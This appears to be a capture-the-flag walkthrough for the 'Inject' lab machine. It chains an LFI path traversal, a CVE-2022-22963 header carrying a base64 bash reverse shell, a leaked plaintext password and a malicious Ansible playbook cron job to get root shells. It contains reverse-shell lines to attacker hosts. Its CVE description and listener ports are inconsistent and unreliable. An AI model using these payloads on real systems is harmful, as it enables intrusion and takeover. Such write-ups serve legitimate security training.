Inject
Inject
Difficulty: Easy
Synopsis
Inject is an Easy Difficulty Linux machine featuring a website with file upload functionality vulnerable to
Local File Inclusion (LFI). By exploiting the LFI vulnerability, files on the system can be enumerated, revealing
that the web application uses a specific version of the Spring-Cloud-Function-Web module susceptible to
CVE-2022-22963 . Exploiting this vulnerability grants an initial foothold as the frank user. Lateral
movement is achieved by further file enumeration, which discloses a plaintext password for phil . A
cronjob running on the machine can then be exploited to execute a malicious Ansible playbook, ultimately
obtaining a reverse shell as the root user.
Skills required
Web Enumeration
Linux Fundamentals
Skills learned
Exploiting Local File Inclusion
Linux Enumeration
The Nmap scan shows that SSH is listening on its default port, i.e. port 22 . Port 8080 is also open, but it
appears that Nmap has misidentified the service running on it. It is a web server running on port 8080 and
we can access it using a web browser.
HTTP
Upon browsing to port 8080 , we see the following webpage. Let us explore the endpoints listed in the
page's top navigation bar.
The "Register" functionality at /register is under construction.
When we try to upload a random .txt file, the page throws an error saying that only image files are
allowed.
Foothold
Upon successfully uploading an image file, we are provided with the option to view the uploaded image.
The "View your image" hyperlink takes us to the /show_image endpoint, which appends an img query
parameter to the URL , whose value is the name of the uploaded image file.
It seems like the application reads the value of the img parameter in the URL and includes the
corresponding file on the server. However, if the application is not properly sanitizing the img parameter,
we could craft a malicious request that includes a file outside of the intended directory- this is known as a
Local File Inclusion.
http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd
Let's intercept the HTTP request to the /show_image endpoint using the BurpSuite proxy, send the
intercepted request to Repeater by pressing Ctrl+R and send the LFI payload in the img parameter to
try to read the /etc/passwd file.
We can successfully read the contents of the /etc/passwd file in the HTTP response, thus verifying the
presence of the LFI vulnerability in the web app. Let’s now dig deeper and try to find the source code of
the application.
We enumerate the filesystem in order to reveal the directory structure. By specifying the path of the
/var/www/ directory, which is commonly used by web applications, we can reveal potential sub-directories.
../../../../../../var/www
Two sub-directories are revealed. By enumerating both, we find out that the root directory of the web
application is located at /var/www/WebApp .
../../../../../../var/www/WebApp
By carefully examining the /var/www/WebApp/pom.xml file, we find that the web app is using version
3.2.2 of the Spring-Cloud-Function-Web module.
../../../../../../var/www/WebApp/pom.xml
A quick search about available exploits for that specific version reveals that it is vulnerable to Remote Code
Execution ( RCE ), addressed in CVE-2022-22963. A Proof of Concept ( PoC ) for this CVE can be found here.
It is a vulnerability identified in the Spring Cloud Config Server , a component of the Spring Cloud
framework for building distributed systems. The vulnerability allows an attacker to perform remote code
execution ( RCE ) by exploiting a deserialisation flaw in the Spring Cloud Config Server 's handling of
YAML files. An attacker can execute arbitrary code on the server hosting the Spring Cloud Config
Server by sending a crafted payload containing malicious YAML data.
As per the PoC , to trigger the Remote Code Execution ( RCE ), we need to send a malicious POST request to
the /functionRouter endpoint of the web app. First, we generate a Base64 -encoded Bash reverse shell
payload using the following command:
The POST request must include the following HTTP header. We paste the generated payload into the
exec() function and pipe it into bash .
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash
-c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMzM3IDA+JjE=}|{base64,-d}|{bash,-
i}")
To receive the reverse shell from the remote host, we start a Netcat listener on port 1337 on our local
machine:
nc -nvlp 1337
Upon sending the request, we receive a reverse shell as the user frank on our listener.
The shell can be upgraded to a TTY shell using the following commands.
cat /home/frank/.m2/settings.xml
Let's switch to the phil user using the discovered password DocPhillovestoInject123 .
su phil
We start the server by running the following command from the directory which contains the pspy binary.
wget YOUR_IP:8000/pspy64
chmod +x pspy64
./pspy64
After letting the pspy binary run for a few minutes, we can see the following processes running as root
show up every 2 minutes indicating that they are likely being run as a cronjob.
A Google search reveals that ansible-parallel is a Python package that is used to execute multiple
Ansible playbooks in parallel. The /usr/local/bin/ansible-parallel binary is operating with root
privileges , as indicated by the UID=0 , and executes all *.yml files found in the /opt/automation/tasks
directory, which are most likely the Ansible playbook files.
Another cronjob removes all the files from the /opt/automation/tasks directory and then copies the file
/root/playbook_1.yml to /opt/automation/tasks/ . This command is likely used to replace the contents
of the /opt/automation/tasks/ directory with a single file called playbook_1.yml .
What is Ansible?
Ansible is a powerful and flexible tool for automating IT tasks and managing infrastructure at scale,
making it easier to maintain consistency across multiple servers and environments. It uses a
declarative language called YAML to describe configuration changes and tasks, and can be used to
manage systems running on a wide range of operating systems.
cat /opt/automation/tasks/playbook_1.yml
This playbook is designed to check if the webapp service is running on the local machine, and if not, to start
and configure it to start automatically at boot time.
If we check the permissions on the /opt/automation/tasks/ directory, we find that only the user root
and the user group staff have read and write access.
ls -al /opt/automation/tasks/
Fortunately, the user phil is a member of the user group staff .
id
Knowing that the cronjob executes any and all .yml files inside the directory with root permissions, we
can create a malicious Ansible playbook YAML file containing a task that will execute our payload, allowing
us to escalate our privileges.
We create a new file called playbook_2.yml on the remote host in the /opt/automation/tasks directory.
The YAML playbook will consist of a single task that runs a shell command on the localhost host. The
shell command is a Bash reverse shell payload that will attempt to connect back to our machine on port
9001 .
- hosts: localhost
tasks:
- name: Checking webapp service
shell: bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
We save the file and start a Netcat listener on port 9001 on our local machine.
nc -nvlp 4444
After two minutes, when the cronjob executes, we successfully get a reverse shell as root .